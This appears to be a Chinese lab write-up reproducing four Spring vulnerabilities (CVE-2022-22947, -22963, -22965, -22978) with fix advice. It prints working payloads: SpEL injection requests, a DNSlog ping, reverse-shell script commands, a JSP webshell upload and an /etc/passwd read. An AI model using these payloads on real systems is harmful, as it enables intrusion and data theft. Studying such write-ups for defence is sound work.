spring系列漏洞复现CVE-2022-22947、CVE-2022-22963、CVE-2022-22965、CVE-2022-22978

目录

Spring Cloud Gateway RCE (CVE-2022-22947)漏洞复现

漏洞原理

漏洞复现

修复建议

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)漏洞复现

漏洞原理

漏洞复现

修复建议

Spring Framework远程代码执行(CVE-2022-22965)漏洞复现

漏洞原理

漏洞复现

修复建议

Spring-security 认证绕过( CVE-2022-22978 )漏洞复现

漏洞原理

漏洞复现

修复建议


Spring Cloud Gateway RCE (CVE-2022-22947)漏洞复现

漏洞原理

 Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。

漏洞复现

启动环境

浏览器访问

使用burp抓包发送到repeater模块修改请求包

构造spel

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.0.154:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Type: application/json
Content-Length: 331

{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://127.0.0.1:80",
"order": 0
}

 刷新路由缓存

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.131:8080
Connection: close
Content-Type: application/x-www-form-urlencoded

使用get回显命令执行

GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

发现执行成功

修复建议

更新升级 Spring Cloud Gateway

在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)漏洞复现

漏洞原理

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中 RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码

漏洞复现

启动环境

浏览器访问

访问当前页面并使用burp抓包,发送到repeater模块中

更改提交方式,并配合DNSlog查看漏洞是否存在

POST /functionRouter HTTP/1.1
Host: 192.168.0.154:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping unlash.eyes.sh")
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

使用工具反弹shell

将要检测的网址放到 url.txt 文件中

 python3 Spel_RCE_POC.py url.txt

证明漏洞存在,开始反弹shell

python3 Spel_RCE_Bash_EXP.py http://192.168.0.154:8080 192.168.0.154 5555

nc -lvnp 5555

 此代码将shell反弹到5555端口

修复建议

        安装官方的补丁

        降级到 JDK 8 或更低版本,消除被攻击的可能性

Spring Framework远程代码执行(CVE-2022-22965)漏洞复现

漏洞原理

Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当 Spring 部署在 JDK9 及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行

漏洞复现

启动环境

浏览器访问

访问当前页面并抓包发送到repeater模块中

拼接路径进行访问

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

并在请求头中任意位置加入以下代码

suffix: %>//
c1: Runtime
c2: <%

访问

http://192.168.0.154:8080/fuck.jsp?pwd=fuck&cmd=cat /etc/passwd

修复建议

升级Spring Framework版本

Spring-security 认证绕过( CVE-2022-22978 )漏洞复现

漏洞原理

当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证。

漏洞复现

启动环境

浏览器访问

 直接访问发现被禁止

拼接%0a发现成功访问

修复建议

升级Spring Security版本